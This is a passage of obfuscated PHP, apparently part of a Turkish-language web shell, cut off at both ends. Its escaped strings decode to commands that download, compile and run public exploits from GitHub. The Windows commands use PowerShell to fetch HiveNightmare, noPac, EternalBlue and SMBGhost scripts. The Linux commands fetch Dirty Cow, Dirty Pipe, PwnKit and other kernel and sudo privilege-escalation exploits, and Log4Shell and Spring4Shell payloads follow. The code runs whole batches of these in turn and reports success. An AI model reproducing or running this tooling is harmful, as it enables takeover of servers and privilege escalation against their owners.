"\160\x6f\167\x65\162\163\x68\x65\154\x6c\x20\55\103\x6f\155\x6d\x61\156\144\40\x22\x74\162\x79\x20\173\40\x49\x6e\166\157\x6b\145\x2d\x57\x65\142\122\x65\161\x75\x65\x73\x74\40\x2d\x55\x72\x69\40\x27\x68\x74\164\x70\163\x3a\x2f\57\x72\x61\167\x2e\x67\x69\x74\150\x75\x62\x75\163\145\162\x63\157\156\x74\145\x6e\164\x2e\x63\157\x6d\x2f\x47\x6f\163\x73\151\x54\150\145\104\x6f\x67\x2f\110\151\x76\145\x4e\151\147\150\164\155\x61\x72\145\x2f\162\145\x66\x73\57\x68\145\141\144\163\57\x6d\141\163\x74\145\x72\57\115\151\x74\x69\147\x61\x74\151\x6f\156\56\160\x73\x31\x27\x20\55\x4f\165\164\x46\x69\x6c\145\x20\x43\x3a\x5c\150\151\166\145\x6e\x69\147\150\x74\155\x61\x72\145\56\160\163\61\x20\55\105\162\x72\x6f\162\101\x63\x74\x69\157\x6e\40\123\x74\x6f\x70\x3b\x20\x70\x6f\167\145\x72\163\x68\x65\154\154\40\55\145\x78\x65\x63\x20\x62\171\x70\141\163\163\x20\55\106\151\154\145\x20\103\72\134\150\151\x76\145\x6e\151\x67\x68\164\x6d\x61\162\x65\x2e\160\163\61\x20\175\40\x63\x61\x74\x63\150\x20\173\40\145\x63\150\157\40\47\110\151\x76\145\x4e\151\x67\x68\x74\x6d\x61\162\x65\40\171\xc3\xbc\153\x6c\x65\156\145\155\145\144\x69\47\40\175\42", 3 => "\160\157\x77\x65\162\163\x68\x65\154\154\x20\55\103\x6f\155\155\x61\156\144\40\x22\164\x72\x79\40\173\40\x49\156\166\157\x6b\145\x2d\x57\x65\x62\x52\x65\x71\x75\145\163\x74\40\55\125\x72\151\40\x27\x68\x74\164\160\x73\72\57\57\162\x61\x77\x2e\147\x69\x74\x68\165\x62\165\x73\x65\162\x63\157\x6e\x74\145\156\x74\x2e\143\157\155\x2f\143\x75\142\x65\60\x78\x30\57\x6e\x6f\120\x61\143\x2f\155\141\151\x6e\57\156\x6f\120\x61\x63\56\x70\x79\47\40\x2d\117\165\164\106\x69\x6c\145\40\x43\x3a\x5c\x6e\157\160\x61\x63\x2e\x70\171\x20\x2d\x45\162\162\x6f\x72\101\143\x74\x69\157\156\40\x53\x74\157\x70\73\40\160\x79\164\x68\x6f\156\x20\103\x3a\134\156\157\160\x61\143\x2e\160\171\x20\175\x20\143\x61\164\143\150\40\x7b\x20\145\x63\150\x6f\40\x27\116\x6f\x50\x61\143\x20\171\303\274\x6b\154\145\x6e\x65\155\x65\144\x69\47\x20\x7d\x22", 4 => "\160\x6f\167\x65\162\x73\x68\145\x6c\x6c\40\x2d\x43\157\x6d\x6d\x61\156\x64\40\42\164\162\171\40\173\x20\111\x6e\x76\157\x6b\x65\55\127\145\142\122\145\161\x75\x65\x73\164\x20\x2d\125\x72\x69\x20\x27\150\x74\x74\160\x73\72\x2f\x2f\x72\x61\167\x2e\x67\151\x74\150\165\142\165\x73\145\162\143\x6f\156\x74\145\156\164\x2e\x63\157\x6d\x2f\x74\157\x70\157\164\141\155\57\120\x65\164\x69\x74\x50\157\x74\141\x6d\x2f\155\x61\151\156\x2f\120\x65\x74\x69\164\x50\157\164\x61\155\x2e\x70\171\x27\x20\x2d\x4f\x75\x74\x46\x69\154\145\40\x43\72\x5c\160\x65\164\151\164\160\x6f\164\x61\155\56\x70\171\40\55\105\x72\162\x6f\x72\101\x63\164\151\x6f\x6e\40\x53\x74\157\x70\x3b\x20\160\171\x74\x68\157\x6e\x20\x43\x3a\134\160\x65\164\151\x74\160\157\164\141\155\56\x70\171\40\x7d\x20\143\141\164\x63\x68\x20\173\40\145\x63\150\x6f\x20\x27\x50\x65\164\151\x74\120\157\164\141\x6d\x20\x79\303\274\153\x6c\145\156\x65\155\145\x64\151\x27\40\x7d\x22", 5 => "\160\x6f\x77\145\162\x73\150\145\x6c\154\x20\55\103\x6f\155\x6d\141\156\144\x20\42\x74\x72\171\x20\173\40\111\156\x76\x6f\x6b\x65\55\127\145\142\122\145\161\165\x65\163\x74\40\x2d\x55\x72\151\40\x27\x68\x74\x74\x70\x73\72\x2f\57\x72\141\x77\56\x67\x69\164\x68\165\142\x75\x73\145\x72\x63\157\x6e\164\x65\x6e\x74\x2e\143\157\x6d\x2f\63\156\x64\x47\64\155\145\x2f\101\x75\164\157\x42\x6c\165\145\x2d\115\x53\61\67\55\x30\x31\60\57\155\x61\x73\164\145\x72\57\145\164\145\162\156\141\154\142\x6c\165\145\137\145\170\160\x6c\157\151\x74\x2e\x70\x79\47\40\55\x4f\x75\x74\x46\x69\154\x65\x20\103\72\134\x65\164\145\x72\156\141\x6c\x62\154\165\x65\56\160\171\40\55\105\162\162\x6f\x72\x41\143\164\x69\x6f\156\x20\123\x74\x6f\160\x3b\40\160\x79\164\x68\157\x6e\40\103\x3a\x5c\x65\164\x65\162\156\x61\154\x62\154\165\145\x2e\x70\171\40\175\x20\143\141\164\143\150\40\173\x20\x65\x63\x68\x6f\40\x27\x45\x74\145\x72\156\141\x6c\x42\154\x75\145\x20\171\303\xbc\x6b\x6c\x65\156\x65\155\x65\144\x69\47\40\x7d\42", 6 => "\x70\x6f\167\x65\x72\x73\x68\145\x6c\x6c\x20\x2d\103\x6f\155\155\141\156\144\40\x22\164\162\x79\40\173\x20\x49\156\166\157\153\x65\55\127\145\142\122\x65\x71\x75\145\x73\164\x20\55\125\162\x69\x20\x27\150\164\164\160\163\x3a\57\x2f\x72\141\x77\x2e\x67\x69\164\150\165\142\165\x73\145\x72\x63\157\x6e\164\x65\156\164\x2e\143\157\155\x2f\60\170\x65\142\x2d\142\160\x2f\143\166\x65\x2d\x32\x30\61\71\x2d\x30\67\60\x38\x2f\x6d\141\163\164\145\x72\57\x63\x76\x65\55\x32\60\x31\71\x2d\x30\67\60\70\x2e\x70\171\47\40\55\x4f\165\x74\106\151\x6c\x65\40\103\x3a\x5c\142\154\165\x65\153\x65\x65\160\x2e\x70\x79\x20\55\x45\x72\x72\157\x72\x41\143\x74\x69\x6f\x6e\40\x53\164\x6f\x70\x3b\40\x70\x79\164\x68\157\x6e\40\103\72\134\142\154\165\145\153\x65\x65\x70\56\160\x79\x20\175\40\143\141\x74\x63\x68\x20\x7b\40\145\143\150\157\40\47\102\154\x75\x65\x4b\145\x65\160\40\x79\xc3\xbc\x6b\x6c\x65\x6e\145\155\145\144\151\x27\40\x7d\x22", 7 => "\x70\x6f\167\145\162\x73\x68\145\x6c\154\40\55\x43\x6f\x6d\155\x61\x6e\144\40\42\164\162\171\40\x7b\x20\x49\156\166\157\x6b\x65\55\127\x65\x62\122\145\161\165\x65\x73\164\40\55\125\x72\x69\40\47\x68\164\164\x70\163\x3a\x2f\57\162\x61\167\56\147\151\x74\150\165\x62\165\x73\x65\x72\x63\157\156\164\145\156\x74\x2e\x63\157\x6d\x2f\157\154\154\x79\x70\x77\x6e\57\x53\x4d\102\107\150\x6f\x73\x74\x2f\x6d\141\x73\164\x65\162\x2f\123\x4d\x42\107\x68\x6f\163\164\x5f\x52\103\x45\x5f\x50\x6f\103\x2e\160\171\x27\x20\x2d\x4f\165\x74\106\x69\154\145\x20\103\72\134\x73\155\142\x67\150\x6f\163\x74\56\160\x79\x20\55\105\x72\x72\x6f\162\x41\143\164\151\x6f\x6e\40\123\164\x6f\x70\x3b\40\160\171\164\x68\157\x6e\x20\x43\72\x5c\163\x6d\142\x67\x68\157\163\x74\x2e\x70\x79\40\175\40\x63\x61\164\143\x68\x20\x7b\40\145\x63\150\x6f\x20\47\x53\115\x42\x47\150\157\x73\164\40\171\xc3\xbc\x6b\x6c\145\156\x65\155\x65\144\x69\x27\x20\x7d\42", 8 => "\160\157\167\145\162\x73\150\x65\x6c\x6c\40\55\x43\x6f\155\155\141\156\144\40\x22\164\162\171\40\173\x20\107\x65\164\x2d\103\x69\155\x49\x6e\x73\x74\x61\156\143\145\40\x2d\103\x6c\141\x73\x73\x4e\141\x6d\145\x20\x57\x69\156\63\62\137\x53\145\162\166\x69\x63\145\40\174\x20\127\x68\145\162\145\55\117\x62\152\145\143\x74\x20\x7b\40\44\x5f\56\x50\x61\164\x68\x4e\141\155\145\40\x2d\x6c\151\153\145\x20\x27\52\x27\40\x2d\x61\156\x64\40\44\137\56\120\x61\x74\150\116\x61\x6d\x65\x20\x2d\156\x6f\x74\154\151\153\x65\x20\47\42\52\x27\40\175\40\174\x20\x53\145\154\145\143\164\x2d\x4f\x62\152\x65\x63\x74\x20\x4e\x61\155\145\54\40\120\141\x74\x68\x4e\x61\x6d\x65\x20\175\x20\x63\141\164\x63\150\40\173\x20\145\x63\150\157\40\x27\x55\156\x71\x75\157\x74\145\x64\x20\163\x65\x72\166\x69\143\145\x20\153\x6f\156\x74\x72\157\154\xc3\xbc\x20\x79\x61\x70\304\xb1\154\141\x6d\141\x64\xc4\xb1\x27\x20\175\42", 9 => "\x70\x6f\167\x65\x72\163\150\145\154\154\40\x2d\103\x6f\155\155\141\x6e\144\x20\x22\164\162\171\40\x7b\x20\107\x65\x74\x2d\111\x74\x65\x6d\x50\x72\157\x70\x65\162\x74\x79\x20\x48\x4b\114\115\72\134\123\x4f\x46\124\x57\101\x52\x45\x5c\120\157\154\151\143\151\145\163\134\115\151\x63\x72\157\x73\x6f\x66\164\x5c\127\x69\156\144\157\167\x73\x5c\111\x6e\x73\x74\x61\154\154\145\162\x20\55\105\x72\162\x6f\x72\101\x63\164\x69\157\x6e\40\x53\164\157\160\40\x7d\x20\143\x61\164\x63\x68\40\173\x20\x65\x63\150\157\40\x27\x41\154\x77\x61\x79\x73\111\x6e\x73\164\141\154\154\105\154\145\166\x61\164\x65\x64\40\153\x6f\x6e\x74\x72\157\x6c\xc3\274\x20\x79\x61\160\304\xb1\x6c\141\155\x61\144\304\xb1\x27\40\175\x22"); if (isset($commands[$num])) { $output .= "\xf0\x9f\232\x80\40\105\170\160\x6c\157\x69\x74\40\xc3\xa7\141\154\304\261\xc5\x9f\164\xc4\261\162\xc4\xb1\154\xc4\xb1\171\x6f\162\56\x2e\x2e\12"; $output .= "\342\x9a\240\40\x42\165\40\163\x61\x64\145\x63\x65\x20\145\xc4\x9f\151\x74\151\x6d\x20\x61\155\x61\xc3\247\x6c\xc4\261\x64\304\xb1\x72\x21\12"; $output .= executeCommand($commands[$num]); } else { $output .= "\xe2\232\xa0\x20\107\x65\303\xa7\145\x72\x73\151\x7a\40\x65\170\x70\154\157\151\164\x20\x6e\165\155\x61\x72\x61\163\xc4\xb1\x21\xa"; $output .= "\115\145\x76\x63\x75\164\x20\x65\x78\160\154\x6f\x69\x74\x6c\145\162\72\x20\61\x2d" . count($commands) . "\xa"; } break; foreach ($win_exploits as $exploit) { $output .= "\360\237\x93\214\40{$exploit[0]}\12"; $result = runExploitVip($exploit[1], $exploit[0]); $output .= "\x20\x20\40\xf0\x9f\223\212\x20\x53\x6f\156\x75\xc3\247\72\x20" . ($result["\x73\165\x63\x63\x65\x73\x73"] ? "\xe2\234\x85\40\x50\x4f\124\101\x4e\x53\xc4\260\x59\x45\114\40\x42\101\305\x9e\101\122\111" : "\342\232\240\xef\xb8\x8f\x20\104\x45\116\105\116\x44\304\xb0") . "\xa"; if (strlen($result["\162\x65\x73\165\x6c\164"]) > 5 && strlen($result["\162\x65\x73\x75\154\x74"]) < 500) { $output .= "\40\40\x20\360\237\223\x9d\40" . trim($result["\x72\x65\163\x75\154\x74"]) . "\12"; } $output .= "\12"; } $output .= "\xe2\x9c\x85\x20\x54\303\x9c\115\40\127\111\x4e\x44\117\x57\x53\40\x45\130\x50\114\117\111\124\x4c\x45\x52\40\303\x87\x41\114\111\xc5\x9e\x54\x49\x52\111\x4c\104\x49\x21\12"; break; case "\145\170\x70\x6c\157\151\x74\137\154\151\156\165\x78\137\141\154\x6c": $output .= "\x3d\75\x3d\40\360\237\x90\247\x20\x54\303\234\x4d\40\114\111\x4e\x55\x58\40\x45\130\120\114\x4f\x49\x54\x4c\105\x52\x20\75\75\x3d\xa\12"; if (isWindows()) { $output .= "\342\x9a\xa0\x20\x42\x75\40\xc3\xb6\x7a\145\x6c\x6c\151\153\x20\x73\141\144\x65\143\x65\x20\114\x69\x6e\x75\x78\x27\x74\x61\x20\303\xa7\x61\154\304\261\xc5\x9f\304\xb1\x72\x21\xa"; break; } $linux_exploits = array(array("\104\x69\x72\164\171\40\x43\x6f\x77\40\50\x43\x56\x45\x2d\62\60\x31\x36\x2d\x35\x31\71\x35\x29", "\x77\x67\145\x74\40\x2d\x71\x20\x2d\55\x74\151\x6d\145\157\x75\164\x3d\x31\x30\40\x2d\x4f\40\57\x74\155\x70\57\144\151\162\x74\171\143\157\167\56\x63\40\x68\x74\x74\160\x73\x3a\x2f\x2f\162\x61\x77\56\147\x69\164\150\x75\142\165\x73\145\162\143\x6f\156\164\x65\x6e\x74\56\x63\x6f\x6d\57\146\151\x72\x65\x66\x61\162\164\57\x64\151\x72\x74\171\x63\x6f\167\57\x6d\x61\x73\164\145\x72\x2f\144\x69\162\164\171\x2e\x63\x20\62\x3e\57\144\x65\x76\57\x6e\x75\154\154\x20\x26\x26\40\x67\x63\143\40\x2d\160\164\150\162\145\x61\144\40\x2f\x74\x6d\160\57\x64\151\x72\x74\171\x63\x6f\x77\56\x63\x20\x2d\157\40\x2f\164\155\x70\x2f\x64\x69\162\x74\x79\x63\x6f\167\40\62\x3e\x2f\x64\x65\x76\x2f\156\165\x6c\x6c\x20\x26\46\x20\x63\x68\155\157\144\x20\x2b\170\x20\x2f\x74\x6d\160\x2f\144\x69\x72\x74\171\x63\x6f\167\40\x32\76\57\144\145\x76\x2f\x6e\x75\x6c\x6c\40\x26\x26\40\x2f\164\155\x70\57\144\x69\162\x74\x79\x63\x6f\x77\40\x32\x3e\x26\x31\x20\174\x7c\40\145\143\x68\157\x20\42\104\x69\162\164\171\x20\x43\x6f\167\40\171\xc3\xbc\x6b\x6c\x65\x6e\x65\155\145\144\x69\42"), array("\104\151\x72\x74\171\x20\x50\x69\x70\x65\x20\x28\103\126\x45\x2d\62\x30\62\62\x2d\60\x38\x34\x37\x29", "\x77\x67\x65\x74\x20\55\x71\x20\x2d\55\164\x69\x6d\x65\157\x75\x74\x3d\x31\x30\x20\55\x4f\40\x2f\164\x6d\x70\57\144\x69\x72\x74\171\160\151\160\x65\56\x63\40\150\164\x74\160\x73\72\57\57\x72\x61\x77\56\147\x69\164\150\165\142\165\163\x65\x72\143\x6f\x6e\x74\145\x6e\164\56\x63\157\155\x2f\101\x72\151\156\145\162\x72\157\x6e\x2f\x43\x56\105\55\62\60\x32\x32\55\60\70\x34\x37\x2d\x44\151\x72\x74\171\x50\x69\x70\x65\55\105\x78\160\154\x6f\x69\164\57\155\x61\151\x6e\57\x65\x78\160\x6c\157\x69\164\56\143\x20\62\76\x2f\144\145\x76\57\156\x75\154\154\40\x26\46\x20\x67\143\143\x20\x2f\164\x6d\160\x2f\144\151\162\x74\171\160\151\160\145\56\x63\x20\x2d\157\40\x2f\x74\155\160\x2f\144\x69\x72\x74\171\x70\x69\x70\145\40\x32\x3e\x2f\x64\x65\166\x2f\x6e\165\x6c\x6c\40\46\x26\40\143\x68\155\x6f\144\40\x2b\x78\x20\x2f\164\155\160\57\x64\x69\x72\164\x79\160\x69\x70\145\x20\x32\x3e\57\x64\x65\166\x2f\x6e\165\x6c\154\40\x26\46\40\57\x74\155\160\57\144\x69\162\x74\x79\x70\x69\160\x65\x20\62\76\x26\61\x20\174\x7c\40\145\x63\x68\x6f\40\42\104\x69\162\164\171\40\120\x69\160\145\40\171\xc3\xbc\153\x6c\x65\x6e\145\155\x65\144\x69\x22"), array("\x50\x77\156\113\x69\x74\40\x28\x43\126\105\x2d\62\x30\62\x31\x2d\x34\60\x33\x34\x29", "\167\147\145\x74\40\x2d\161\x20\55\x2d\x74\151\155\145\x6f\165\164\x3d\61\60\40\55\117\40\x2f\164\155\160\57\x70\x77\x6e\x6b\151\x74\x2e\x63\40\150\164\164\x70\163\72\57\57\x72\x61\167\x2e\147\151\164\150\x75\142\165\x73\145\x72\143\x6f\156\164\145\156\x74\56\x63\157\x6d\x2f\x62\145\x72\x64\x61\x76\x2f\x43\x56\105\55\x32\60\x32\x31\x2d\64\x30\63\x34\57\x6d\x61\x69\156\x2f\160\x77\x6e\x6b\151\164\x2e\x63\x20\62\x3e\x2f\144\x65\x76\57\156\x75\x6c\x6c\40\46\46\40\147\143\x63\40\x2f\164\x6d\x70\x2f\x70\167\x6e\x6b\151\x74\56\143\x20\x2d\157\x20\57\x74\155\x70\x2f\x70\x77\156\x6b\x69\x74\x20\x32\x3e\57\144\x65\x76\57\156\165\x6c\154\x20\x26\46\x20\143\150\155\x6f\144\40\x2b\170\40\x2f\164\155\x70\x2f\x70\x77\x6e\x6b\x69\x74\40\62\76\57\144\x65\x76\x2f\156\x75\154\154\40\46\46\x20\x2f\x74\x6d\160\57\x70\x77\x6e\x6b\151\164\x20\62\76\x26\61\40\174\174\x20\x65\x63\x68\x6f\40\42\x50\x77\156\x4b\151\x74\40\x79\303\xbc\x6b\x6c\145\x6e\x65\155\145\x64\151\42"), array("\120\x6f\x6c\153\151\x74\40\x28\x43\126\x45\55\x32\x30\62\61\x2d\63\65\x36\x30\x29", "\x77\147\145\x74\40\55\x71\x20\x2d\55\x74\151\x6d\145\157\x75\x74\75\x31\x30\40\x2d\117\x20\x2f\164\x6d\160\x2f\160\x6f\x6c\153\151\164\x2e\163\x68\40\150\x74\x74\x70\x73\72\x2f\57\162\x61\167\x2e\x67\151\164\x68\x75\142\x75\x73\145\x72\x63\157\156\164\x65\156\x74\56\x63\157\155\x2f\163\x65\x63\156\x69\147\x6d\141\57\x43\x56\105\x2d\62\x30\62\61\55\63\65\x36\x30\55\x50\157\x6c\153\151\x74\55\120\x72\x69\x76\x69\154\x65\147\x65\x2d\x45\163\x63\154\x61\164\x69\157\156\x2f\x6d\141\x69\156\57\103\x56\105\55\62\60\x32\61\x2d\63\65\x36\x30\x2e\x73\150\x20\62\76\57\144\x65\166\x2f\x6e\165\x6c\154\x20\46\x26\x20\x63\150\x6d\x6f\144\x20\53\x78\40\x2f\x74\155\x70\57\160\x6f\154\x6b\151\164\x2e\163\150\40\62\76\57\x64\x65\x76\x2f\x6e\x75\154\154\x20\46\x26\40\x2f\164\155\160\x2f\160\157\154\x6b\x69\x74\56\163\150\x20\62\x3e\46\61\x20\x7c\x7c\x20\145\x63\x68\x6f\40\x22\120\157\154\x6b\151\164\x20\171\303\274\x6b\x6c\x65\156\145\155\x65\x64\x69\42"), array("\x53\x75\144\157\40\102\141\x72\x6f\156\x20\50\103\x56\x45\55\x32\60\61\x39\x2d\61\64\62\x38\67\x29", "\163\x75\144\x6f\x20\55\165\43\55\61\x20\57\142\151\156\57\142\141\163\150\x20\55\x63\x20\42\x77\150\x6f\x61\155\x69\x22\x20\x32\76\x26\x31\x20\x7c\x7c\40\145\143\x68\x6f\40\x22\123\x75\144\x6f\40\102\x61\162\157\156\40\303\xa7\141\x6c\xc4\xb1\305\237\x6d\141\144\xc4\261\x22"), array("\117\x76\x65\x72\x6c\141\x79\x46\x53\40\50\x43\x56\x45\55\62\x30\x31\x35\x2d\x31\x33\62\70\51", "\x77\x67\x65\164\40\x2d\x71\x20\55\x2d\164\x69\x6d\x65\x6f\x75\x74\x3d\x31\x30\x20\55\117\x20\57\164\x6d\160\x2f\157\166\145\x72\x6c\141\x79\x66\x73\x2e\143\40\150\164\164\160\163\72\57\57\x72\x61\167\x2e\147\151\x74\150\x75\x62\165\x73\x65\x72\x63\x6f\156\x74\x65\156\164\x2e\x63\x6f\155\x2f\x74\x69\x6d\x77\x72\57\x43\x56\x45\x2d\x32\60\x31\x35\x2d\61\x33\x32\x38\x2f\x6d\141\x73\x74\145\162\57\157\x76\x65\x72\x6c\141\x79\x66\x73\x2e\143\40\x32\x3e\x2f\x64\x65\x76\x2f\156\165\154\154\x20\x26\x26\x20\x67\x63\143\x20\57\164\155\160\x2f\x6f\x76\x65\x72\154\x61\171\146\163\x2e\x63\40\55\x6f\40\57\x74\155\160\57\157\x76\x65\x72\154\x61\171\x66\163\40\x32\x3e\57\144\145\166\x2f\x6e\165\x6c\x6c\x20\46\x26\40\143\150\155\x6f\x64\40\53\170\x20\57\x74\155\x70\x2f\x6f\x76\145\x72\154\x61\171\146\163\40\62\76\57\144\145\166\x2f\156\x75\154\154\40\46\x26\x20\57\164\x6d\x70\x2f\157\x76\145\162\x6c\141\x79\146\x73\40\x32\76\46\61\x20\x7c\x7c\x20\145\x63\x68\x6f\x20\x22\117\166\x65\x72\x6c\141\171\x46\x53\40\171\xc3\274\153\154\145\156\x65\x6d\145\x64\x69\42"), array("\103\x56\x45\x2d\62\60\x32\61\x2d\63\64\x39\x33", "\x77\147\x65\x74\40\x2d\x71\40\x2d\x2d\164\x69\x6d\145\157\165\164\x3d\61\60\x20\55\x4f\40\x2f\x74\155\x70\57\x63\166\145\x2d\62\x30\62\x31\55\x33\64\x39\x33\56\143\40\x68\164\164\x70\163\x3a\57\57\162\141\167\x2e\x67\x69\x74\x68\165\142\x75\163\145\162\143\157\156\164\145\x6e\x74\x2e\x63\x6f\x6d\57\x62\143\157\154\x65\x73\x2f\x6b\145\x72\156\x65\154\x2d\x65\170\160\154\157\x69\x74\x73\x2f\155\141\x73\x74\x65\162\x2f\x43\126\105\55\62\60\x32\61\x2d\x33\x34\71\x33\57\x65\170\160\154\157\x69\x74\56\x63\40\62\76\57\x64\x65\166\x2f\156\165\x6c\x6c\40\46\x26\40\x67\x63\x63\40\57\164\x6d\160\57\x63\x76\145\55\62\x30\62\61\x2d\63\x34\71\x33\56\x63\40\55\157\40\x2f\x74\x6d\160\x2f\x63\166\145\55\62\x30\x32\x31\x2d\x33\x34\71\x33\40\62\x3e\x2f\x64\x65\166\57\156\x75\154\x6c\40\46\x26\x20\x63\x68\155\x6f\144\40\53\170\x20\x2f\x74\x6d\x70\x2f\143\166\145\55\62\60\x32\61\x2d\63\64\x39\x33\40\x32\76\57\144\x65\166\x2f\x6e\x75\x6c\x6c\40\x26\x26\x20\x2f\x74\x6d\160\57\x63\166\145\55\62\60\62\x31\55\63\x34\x39\63\40\62\76\46\61\40\x7c\x7c\x20\145\x63\x68\157\x20\42\x43\x56\x45\55\62\x30\x32\x31\55\63\64\71\x33\x20\x79\xc3\xbc\x6b\x6c\x65\156\x65\x6d\145\x64\151\42"), array("\103\126\105\x2d\x32\x30\62\x32\55\x30\x34\x39\62", "\167\x67\145\x74\40\x2d\x71\x20\55\x2d\x74\x69\x6d\145\157\165\x74\75\61\x30\40\55\x4f\x20\57\x74\155\x70\x2f\143\x76\x65\x2d\62\x30\62\62\55\60\64\x39\x32\56\143\40\x68\x74\x74\160\x73\x3a\x2f\x2f\162\x61\167\56\147\151\164\150\x75\142\x75\163\x65\162\143\157\156\164\145\156\164\56\143\157\x6d\57\142\143\157\154\145\163\x2f\x6b\145\162\x6e\x65\x6c\55\x65\x78\160\x6c\x6f\151\164\x73\x2f\x6d\x61\x73\x74\x65\162\x2f\x43\126\105\x2d\x32\x30\62\x32\55\x30\64\71\x32\57\145\x78\x70\154\157\x69\164\56\143\x20\62\x3e\x2f\x64\x65\166\57\156\165\154\154\40\x26\46\x20\147\143\143\x20\x2f\164\x6d\160\x2f\x63\x76\145\55\x32\x30\x32\x32\x2d\60\x34\71\62\x2e\143\x20\55\x6f\x20\x2f\164\155\160\57\143\166\145\55\x32\x30\x32\x32\x2d\x30\x34\x39\62\x20\x32\x3e\57\144\145\x76\x2f\156\x75\x6c\154\x20\x26\46\40\143\x68\x6d\x6f\144\x20\53\x78\40\x2f\164\x6d\160\x2f\x63\x76\x65\x2d\62\60\62\x32\55\60\64\71\x32\40\62\x3e\x2f\144\145\166\57\x6e\x75\154\x6c\x20\x26\46\x20\57\164\x6d\x70\x2f\x63\x76\x65\x2d\62\60\62\x32\55\x30\64\71\x32\40\62\x3e\46\x31\x20\174\x7c\40\145\x63\150\157\40\x22\103\126\x45\x2d\62\x30\62\62\55\60\64\x39\62\40\x79\303\274\x6b\x6c\x65\x6e\x65\155\x65\144\x69\42"), array("\103\126\x45\55\62\x30\62\61\x2d\63\x31\65\66\40\50\123\165\144\x6f\x20\102\141\162\157\156\x29", "\x73\x75\x64\x6f\145\144\151\164\x20\55\163\x20\x2f\40\62\x3e\46\x31\x20\x7c\174\40\x65\143\150\x6f\x20\42\103\x56\105\x2d\x32\60\x32\x31\55\63\61\x35\66\x20\153\x6f\156\x74\x72\x6f\x6c\x20\x65\144\151\x6c\x64\x69\42"), array("\x43\x56\105\55\x32\x30\61\66\x2d\x38\x36\65\x35", "\x77\x67\x65\x74\x20\55\161\x20\55\x2d\x74\x69\155\145\157\165\x74\75\61\x30\40\55\x4f\x20\57\x74\x6d\x70\57\143\166\145\x2d\x32\x30\61\66\55\x38\x36\x35\x35\56\143\40\x68\164\164\160\163\72\x2f\57\x72\x61\167\x2e\147\151\x74\150\165\142\x75\163\x65\162\x63\157\156\x74\145\x6e\x74\x2e\x63\x6f\x6d\x2f\x62\x63\157\x6c\145\x73\57\153\145\162\156\145\x6c\x2d\145\x78\160\154\157\x69\164\163\x2f\155\141\163\x74\x65\x72\x2f\x43\126\x45\55\x32\x30\61\x36\55\70\66\65\65\x2f\x65\x78\x70\154\157\x69\x74\x2e\x63\40\x32\x3e\x2f\x64\x65\166\57\156\x75\x6c\x6c\x20\x26\46\40\147\143\143\x20\x2f\x74\x6d\x70\57\x63\x76\145\x2d\x32\60\61\x36\x2d\70\x36\65\x35\56\x63\40\x2d\157\x20\x2f\x74\x6d\160\57\143\x76\x65\x2d\62\60\61\x36\55\70\x36\x35\x35\x20\62\76\x2f\x64\x65\x76\x2f\156\x75\154\154\x20\x26\x26\40\143\x68\155\x6f\144\x20\53\x78\40\57\164\155\x70\x2f\143\166\x65\x2d\62\60\x31\x36\55\70\x36\x35\x35\40\x32\76\x2f\x64\x65\x76\57\x6e\165\x6c\x6c\x20\x26\x26\40\x2f\164\x6d\160\x2f\143\x76\x65\x2d\x32\x30\61\x36\x2d\x38\x36\65\65\x20\x32\x3e\46\x31\x20\174\x7c\x20\145\143\x68\x6f\40\42\x43\x56\105\x2d\62\60\x31\x36\x2d\x38\66\x35\x35\x20\171\303\274\153\x6c\145\x6e\x65\155\145\144\151\42")); foreach ($linux_exploits as $exploit) { $output .= "\360\x9f\223\x8c\40{$exploit[0]}\xa"; $result = runExploitVip($exploit[1], $exploit[0]); $output .= "\40\x20\x20\xf0\237\x93\212\x20\x53\157\x6e\165\303\xa7\x3a\x20" . ($result["\163\x75\143\x63\x65\x73\x73"] ? "\xe2\x9c\205\x20\x50\117\x54\x41\116\123\xc4\xb0\x59\105\x4c\40\102\101\xc5\236\x41\122\x49" : "\xe2\232\240\357\xb8\x8f\40\x44\x45\x4e\105\x4e\x44\304\260") . "\xa"; if (strlen($result["\x72\145\x73\x75\x6c\164"]) > 5 && strlen($result["\x72\145\163\165\154\x74"]) < 500) { $output .= "\40\40\x20\360\237\x93\x9d\40" . trim($result["\162\145\163\165\x6c\164"]) . "\xa"; } $output .= "\xa"; } $output .= "\xe2\234\205\40\124\303\x9c\115\40\114\x49\x4e\125\x58\40\105\130\120\x4c\117\111\x54\114\x45\x52\40\xc3\x87\101\114\x49\305\236\124\111\x52\111\114\x44\111\41\xa"; break; case "\x65\x78\x70\154\157\x69\164\x5f\x77\145\142\x5f\x61\154\154": $output .= "\x3d\75\75\40\xf0\237\214\220\x20\124\303\234\115\x20\x57\x45\102\x20\105\130\120\114\x4f\111\124\x4c\105\x52\40\x3d\x3d\x3d\12\xa"; $web_exploits = array(array("\114\157\x67\64\x53\150\145\x6c\x6c\x20\50\103\x56\105\55\x32\x30\x32\x31\x2d\64\x34\62\x32\70\51", "\145\143\150\x6f\40\x22\114\157\147\x34\123\x68\145\154\x6c\x20\164\145\x73\x74\x3a\40\134\44\173\152\156\144\151\x3a\154\x64\x61\160\72\x2f\x2f\61\62\67\56\60\x2e\x30\56\61\x3a\x31\63\x38\x39\57\105\x78\x70\x6c\x6f\151\164\175\x22\40\x3e\x20\x2f\x74\x6d\160\x2f\154\157\x67\64\163\x68\x65\154\154\x5f\164\145\x73\164\56\154\157\147\x20\62\76\46\x31\40\46\46\40\x63\x61\x74\x20\x2f\164\155\160\x2f\154\157\147\x34\163\x68\x65\x6c\x6c\x5f\164\145\163\164\56\154\x6f\147\40\62\x3e\x26\61"), array("\x53\160\x72\151\x6e\x67\x34\x53\x68\x65\x6c\x6c\x20\x28\103\x56\105\55\x32\60\62\62\x2d\x32\x32\x39\x36\x35\51", "\145\143\x68\x6f\x20\x22\123\160\x72\x69\156\147\x34\123\x68\145\154\154\40\164\145\163\x74\x3a\40\143\x6c\141\x73\163\56\155\x6f\144\165\154\145\56\143\x6c\141\163\163\x4c\x6f\x61\x64\x65\x72\x2e\162\145\163\x6f\165\x72\143\145\x73\56\x63\157\x6e\164\x65\x78\x74\x2e\x70\141\162\145\156\x74\56\160\x69\160\x65\x6c\151\x6e\x65\56\x66\151\162\163\164\x2e\160\141\164\x74\145\162\x6e\75\x25\62\x35\x25\x37\x42\143\x32\x25\x37\104\151\42\40\x3e\x20\57\164\155\x70\57\x73\x70\162\x69\156\147\137\164\x65\163\x74\x2e\x74\x78\164\40\x32\x3e\46\x31\40\x26\46\x20\x63\x61\x74\40\x2f\x74\x6d\x70\57\163\x70\x72\x69\156\x67\x5f\164\145\163\164\56\x74\170\164\40\x32\76\x26\61"), array("\123\150\x65\154\154\x73\x68\x6f\143\x6b\x20\50\x43\126\105\x2d\x32\60\61\64\x2d\66\62\67\61\51", 